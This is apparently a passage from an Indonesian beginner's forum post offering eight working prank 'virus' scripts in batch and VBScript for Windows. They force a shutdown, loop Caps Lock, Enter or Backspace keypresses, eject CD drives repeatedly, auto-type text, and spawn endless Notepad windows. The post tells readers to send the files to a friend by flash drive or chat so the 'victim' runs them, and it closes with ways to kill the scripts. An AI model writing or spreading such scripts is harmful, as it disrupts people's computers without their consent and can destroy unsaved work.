@echo off
msg * I don't like you
shutdown -c "Error! BYE BYE" -s
simpan dengan ekstensi .VBS type nya ALL FILE
efeknya komputer yg terkena langsung mengalami forced shutdown
2. Caps Lock
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
efeknya caps lock pada keyboard akan terus menyala.(dimatiin ttep nyala terus)
3. CD Drive
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
efeknya adalah komputer korban akan pop out cd drive nya alias keluar masuk terus
4. Enter
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
efeknya adalah keyboard korban akan menekan tombol enter terus menerus
5. Pesan Note Pad
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara slow motion
tulisan "Hello, how are you? I am good thanks" bisa diubah sesuai keinginan kita :D
6. Back Space
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
efeknya dalah keyboard korban akan menekan tombol back space secara terus menerus
7. PESAN
nah script ini yang paling saya suka
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "jhonyramsoy a.k.a Hypn0t1z3 w4z here :D!!"
loop
efeknya adalah komputer korban akan mengetik
"jhonyramsoy a.k.a Hypn0t1z3 w4z here :D" dalam format apapun
tulisan "jhonyramsoy a.k.a Hypn0t1z3 w4z here :D" bisa diganti sesuai keiinginan kita
8. NOTEPAD
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
efeknya adalah komputer korban akan menghidupkan perintah notepad secara terus menerus!
cara pake = copast tuh script ke notepad , save dalam file extensi/type vbs . lalu kirim note tadi ke komputer temen , lewat flashdisk lewat IM , chat dll. nanti saat dia buka tuh script , komputer dia bakalan kena nih penyakit buatan kita :D
Cara Normalinya:
>restart tu komputer
>buka ctrl+alt+del trus end all task
Cara Matiin scriptnya adalah sebagai berikut :
1. Klik kanan di bagian kanan bawah jendela monitor,
2. Pilih Task Manager, atau ctrl+alt+del
3. Pilih tab Proces, setelah itu cari nama file wscript.exe, setelah itu klik End Proces, setelah klik lagi End Process :D
sebelumnya sory bgt bwat para master klo script kya ginian dah basi dan gak mutu
postingan ini khusus bwt newbie kaya ane gini yg selalu pngen blajar dan pengen tau.